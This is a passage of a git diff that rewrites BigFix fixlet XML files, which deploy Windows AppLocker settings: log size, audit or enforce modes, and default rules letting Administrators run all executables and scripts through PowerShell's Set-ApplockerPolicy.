-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Applocker Log - MSI/Script Max Size - 20mb - Windows</Title>
-    <Description><![CDATA[Sets the maximum log size for the applocker MSI and Script log to 20mb&nbsp;&nbsp;
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>(product info string of operating system = &quot;Enterprise&quot; or product info string of operating system = &quot;Server&quot;)</Relevance>
-    <Relevance>(if (not exists value &quot;MaxSize&quot; of it) then (true) else (value &quot;MaxSize&quot; of it as integer != 20971520)) of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Applocker/MSI and Script&quot; of native registry</Relevance>
-    <Category>Application Whitelisting</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-13</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-
-wait wevtutil.exe sl &quot;Microsoft-Windows-AppLocker/MSI and Script&quot; /ms:20971520</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Applocker Log - MSI/Script Max Size - 20mb - Windows
+  ID       : 20594
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-11T11:03:55
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Applocker Log - MSI/Script Max Size - 20mb - Windows</Title>
+    <Description><![CDATA[Sets the maximum log size for the applocker MSI and Script log to 20mb&nbsp;&nbsp;
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(product info string of operating system = &quot;Enterprise&quot; or product info string of operating system = &quot;Server&quot;)</Relevance>
+    <Relevance>(if (not exists value &quot;MaxSize&quot; of it) then (true) else (value &quot;MaxSize&quot; of it as integer != 20971520)) of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Applocker/MSI and Script&quot; of native registry</Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-13</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+wait wevtutil.exe sl &quot;Microsoft-Windows-AppLocker/MSI and Script&quot; /ms:20971520</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Method - Audit AppX,EXE,MSI,Script - Windows (20595).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Method - Audit AppX,EXE,MSI,Script - Windows (20595).bes
index 673f897ec..3efbe2768 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Method - Audit AppX,EXE,MSI,Script - Windows (20595).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Method - Audit AppX,EXE,MSI,Script - Windows (20595).bes	
@@ -1,65 +1,65 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Applocker Method - Audit AppX,EXE,MSI,Script - Windows
-  ID       : 20595
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-11T11:04:02
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Applocker Method - Audit AppX,EXE,MSI,Script - Windows</Title>
-    <Description><![CDATA[<P>This policy sets the enforcement method for the different Applocker file types. Specifically it configures:</P>
-<P>AppX - Audit</P>
-<P>Executables - Audit</P>
-<P>Installers - Audit</P>
-<P>Scripts - Audit</P>
-<P>This will only take effect if the current enforcement mode is undefined. Once an enforcement mode is defined it's not advisable to try to change it without first reseting the Applocker configuration.&nbsp;</P>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>(not exists (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2&quot; of native registry))  or  ((value &quot;EnforcementMode&quot; of key &quot;Appx&quot; of it as integer != 0) | true or (value &quot;EnforcementMode&quot; of key &quot;Appx&quot; of it as integer != 0) | true or (value &quot;EnforcementMode&quot; of key &quot;Msi&quot; of it as integer != 0) | true or (value &quot;EnforcementMode&quot; of key &quot;Script&quot; of it as integer != 0) | true) of (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2&quot; of native registry)</Relevance>
-    <Category>Application Whitelisting</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-delete __createfile
-delete applocker.xml
-
-createfile until _end_
-<AppLockerPolicy Version="1">
-	<RuleCollection Type="Appx" EnforcementMode="AuditOnly">
-	</RuleCollection>
-	<RuleCollection Type="Exe" EnforcementMode="AuditOnly">
-	</RuleCollection>
-	<RuleCollection Type="Msi" EnforcementMode="AuditOnly">
-	</RuleCollection>
-	<RuleCollection Type="Script" EnforcementMode="AuditOnly">
-	</RuleCollection>
-</AppLockerPolicy>
-_end_
-move __createfile Applocker.xml
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -command "Set-ApplockerPolicy -Merge -XMLPolicy ""{pathname of file "Applocker.xml" of client folder of current site}"""
-]]></ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Applocker Method - Audit AppX,EXE,MSI,Script - Windows
+  ID       : 20595
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-11T11:04:02
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Applocker Method - Audit AppX,EXE,MSI,Script - Windows</Title>
+    <Description><![CDATA[<P>This policy sets the enforcement method for the different Applocker file types. Specifically it configures:</P>
+<P>AppX - Audit</P>
+<P>Executables - Audit</P>
+<P>Installers - Audit</P>
+<P>Scripts - Audit</P>
+<P>This will only take effect if the current enforcement mode is undefined. Once an enforcement mode is defined it's not advisable to try to change it without first reseting the Applocker configuration.&nbsp;</P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(not exists (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2&quot; of native registry))  or  ((value &quot;EnforcementMode&quot; of key &quot;Appx&quot; of it as integer != 0) | true or (value &quot;EnforcementMode&quot; of key &quot;Appx&quot; of it as integer != 0) | true or (value &quot;EnforcementMode&quot; of key &quot;Msi&quot; of it as integer != 0) | true or (value &quot;EnforcementMode&quot; of key &quot;Script&quot; of it as integer != 0) | true) of (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2&quot; of native registry)</Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete applocker.xml
+
+createfile until _end_
+<AppLockerPolicy Version="1">
+	<RuleCollection Type="Appx" EnforcementMode="AuditOnly">
+	</RuleCollection>
+	<RuleCollection Type="Exe" EnforcementMode="AuditOnly">
+	</RuleCollection>
+	<RuleCollection Type="Msi" EnforcementMode="AuditOnly">
+	</RuleCollection>
+	<RuleCollection Type="Script" EnforcementMode="AuditOnly">
+	</RuleCollection>
+</AppLockerPolicy>
+_end_
+move __createfile Applocker.xml
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -command "Set-ApplockerPolicy -Merge -XMLPolicy ""{pathname of file "Applocker.xml" of client folder of current site}"""
+]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Method - Enforce AppX,EXE,MSI,Script - Windows (20596).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Method - Enforce AppX,EXE,MSI,Script - Windows (20596).bes
index 8e1432fca..7354e5f45 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Method - Enforce AppX,EXE,MSI,Script - Windows (20596).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Method - Enforce AppX,EXE,MSI,Script - Windows (20596).bes	
@@ -1,65 +1,65 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Applocker Method - Enforce AppX,EXE,MSI,Script - Windows
-  ID       : 20596
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-11T11:04:10
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Applocker Method - Enforce AppX,EXE,MSI,Script - Windows</Title>
-    <Description><![CDATA[<P>This policy sets the enforcement method for the different Applocker file types. Specifically it configures:</P>
-<P>AppX - Enforced</P>
-<P>Executables - Enforced</P>
-<P>Installers - Enforced</P>
-<P>Scripts - Enforced</P>
-<P>This will only take effect if the current enforcement mode is undefined. Once an enforcement mode is defined it's not advisable to try to change it without first reseting the Applocker configuration.&nbsp;</P>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>(not exists (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2&quot; of native registry))  or  ((value &quot;EnforcementMode&quot; of key &quot;Appx&quot; of it as integer != 1) | true or (value &quot;EnforcementMode&quot; of key &quot;Appx&quot; of it as integer != 1) | true or (value &quot;EnforcementMode&quot; of key &quot;Msi&quot; of it as integer != 1) | true or (value &quot;EnforcementMode&quot; of key &quot;Script&quot; of it as integer != 1) | true) of (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2&quot; of native registry)</Relevance>
-    <Category>Application Whitelisting</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-delete __createfile
-delete applocker.xml
-
-createfile until _end_
-<AppLockerPolicy Version="1">
-	<RuleCollection Type="Appx" EnforcementMode="Enabled">
-	</RuleCollection>
-	<RuleCollection Type="Exe" EnforcementMode="Enabled">
-	</RuleCollection>
-	<RuleCollection Type="Msi" EnforcementMode="Enabled">
-	</RuleCollection>
-	<RuleCollection Type="Script" EnforcementMode="Enabled">
-	</RuleCollection>
-</AppLockerPolicy>
-_end_
-move __createfile Applocker.xml
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -command "Set-ApplockerPolicy -Merge -XMLPolicy ""{pathname of file "Applocker.xml" of client folder of current site}"""
-]]></ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Applocker Method - Enforce AppX,EXE,MSI,Script - Windows
+  ID       : 20596
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-11T11:04:10
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Applocker Method - Enforce AppX,EXE,MSI,Script - Windows</Title>
+    <Description><![CDATA[<P>This policy sets the enforcement method for the different Applocker file types. Specifically it configures:</P>
+<P>AppX - Enforced</P>
+<P>Executables - Enforced</P>
+<P>Installers - Enforced</P>
+<P>Scripts - Enforced</P>
+<P>This will only take effect if the current enforcement mode is undefined. Once an enforcement mode is defined it's not advisable to try to change it without first reseting the Applocker configuration.&nbsp;</P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(not exists (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2&quot; of native registry))  or  ((value &quot;EnforcementMode&quot; of key &quot;Appx&quot; of it as integer != 1) | true or (value &quot;EnforcementMode&quot; of key &quot;Appx&quot; of it as integer != 1) | true or (value &quot;EnforcementMode&quot; of key &quot;Msi&quot; of it as integer != 1) | true or (value &quot;EnforcementMode&quot; of key &quot;Script&quot; of it as integer != 1) | true) of (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2&quot; of native registry)</Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete applocker.xml
+
+createfile until _end_
+<AppLockerPolicy Version="1">
+	<RuleCollection Type="Appx" EnforcementMode="Enabled">
+	</RuleCollection>
+	<RuleCollection Type="Exe" EnforcementMode="Enabled">
+	</RuleCollection>
+	<RuleCollection Type="Msi" EnforcementMode="Enabled">
+	</RuleCollection>
+	<RuleCollection Type="Script" EnforcementMode="Enabled">
+	</RuleCollection>
+</AppLockerPolicy>
+_end_
+move __createfile Applocker.xml
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -command "Set-ApplockerPolicy -Merge -XMLPolicy ""{pathname of file "Applocker.xml" of client folder of current site}"""
+]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Administrators to run All Executables - Windows (20616).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Administrators to run All Executables - Windows (20616).bes
index db739b911..329088f84 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Administrators to run All Executables - Windows (20616).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Administrators to run All Executables - Windows (20616).bes	
@@ -1,63 +1,63 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Applocker Rules - Allow Administrators to run All Executables - Windows
-  ID       : 20616
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-12T17:30:36
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Applocker Rules - Allow Administrators to run All Executables - Windows</Title>
-    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it configures:</P>
-<P>Executables</P>
-<UL>
-<LI>Allow Administrators to run All Files.&nbsp;</LI></UL>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>/* If no policies exist we are relevant */ (not exists key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe&quot; of native registry)  or  /* EXE Rules */ (not exists key &quot;fd686d83-a829-4351-8ff4-27c7de5755d2&quot; of it) of (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe&quot; of native registry)</Relevance>
-    <Category>Application Whitelisting</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-delete __createfile
-delete applocker.xml
-
-createfile until _end_
-<AppLockerPolicy Version="1">
-	<RuleCollection Type="Exe">
-		<FilePathRule Id="fd686d83-a829-4351-8ff4-27c7de5755d2" Name="(Default Rule) All files" Description="Allows members of the local Administrators group to run all applications." UserOrGroupSid="S-1-5-32-544" Action="Allow">
-			<Conditions>
-				<FilePathCondition Path="*" />
-			</Conditions>
-		</FilePathRule>
-	</RuleCollection>
-</AppLockerPolicy>
-
-
-_end_
-move __createfile Applocker.xml
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -command "Import-Module AppLocker;Set-ApplockerPolicy -Merge -XMLPolicy ""{pathname of file "Applocker.xml" of client folder of current site}"""
-]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Applocker Rules - Allow Administrators to run All Executables - Windows
+  ID       : 20616
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-12T17:30:36
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Applocker Rules - Allow Administrators to run All Executables - Windows</Title>
+    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it configures:</P>
+<P>Executables</P>
+<UL>
+<LI>Allow Administrators to run All Files.&nbsp;</LI></UL>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>/* If no policies exist we are relevant */ (not exists key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe&quot; of native registry)  or  /* EXE Rules */ (not exists key &quot;fd686d83-a829-4351-8ff4-27c7de5755d2&quot; of it) of (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe&quot; of native registry)</Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete applocker.xml
+
+createfile until _end_
+<AppLockerPolicy Version="1">
+	<RuleCollection Type="Exe">
+		<FilePathRule Id="fd686d83-a829-4351-8ff4-27c7de5755d2" Name="(Default Rule) All files" Description="Allows members of the local Administrators group to run all applications." UserOrGroupSid="S-1-5-32-544" Action="Allow">
+			<Conditions>
+				<FilePathCondition Path="*" />
+			</Conditions>
+		</FilePathRule>
+	</RuleCollection>
+</AppLockerPolicy>
+
+
+_end_
+move __createfile Applocker.xml
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -command "Import-Module AppLocker;Set-ApplockerPolicy -Merge -XMLPolicy ""{pathname of file "Applocker.xml" of client folder of current site}"""
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Administrators to run All Scripts - Windows (20617).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Administrators to run All Scripts - Windows (20617).bes
index d4ceb4b82..ecb8ddff4 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Administrators to run All Scripts - Windows (20617).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Administrators to run All Scripts - Windows (20617).bes	
@@ -1,63 +1,63 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Applocker Rules - Allow Administrators to run All Scripts - Windows
-  ID       : 20617
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-12T17:30:46
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Applocker Rules - Allow Administrators to run All Scripts - Windows</Title>
-    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it configures:</P>
-<P>Scripts</P>
-<UL>
-<LI>Allow Administrators to run all scripts</LI></UL>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>/* If no policies exist we are relevant */ (not exists key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Script&quot; of native registry)  or  /* Script Rules */ (not exists key &quot;ed97d0cb-15ff-430f-b82c-8d7832957725&quot; of it ) of (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Script&quot; of native registry)</Relevance>
-    <Category>Application Whitelisting</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-delete __createfile
-delete applocker.xml
-
-createfile until _end_
-<AppLockerPolicy Version="1">
-	<RuleCollection Type="Script">
-		<FilePathRule Id="ed97d0cb-15ff-430f-b82c-8d7832957725" Name="(Default Rule) All scripts" Description="Allows members of the local Administrators group to run all scripts." UserOrGroupSid="S-1-5-32-544" Action="Allow">
-			<Conditions>
-				<FilePathCondition Path="*" />
-			</Conditions>
-		</FilePathRule>
-	</RuleCollection>
-</AppLockerPolicy>
-
-
-_end_
-move __createfile Applocker.xml
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -command "Import-Module AppLocker;Set-ApplockerPolicy -Merge -XMLPolicy ""{pathname of file "Applocker.xml" of client folder of current site}"""
-]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Applocker Rules - Allow Administrators to run All Scripts - Windows
+  ID       : 20617
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-12T17:30:46
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
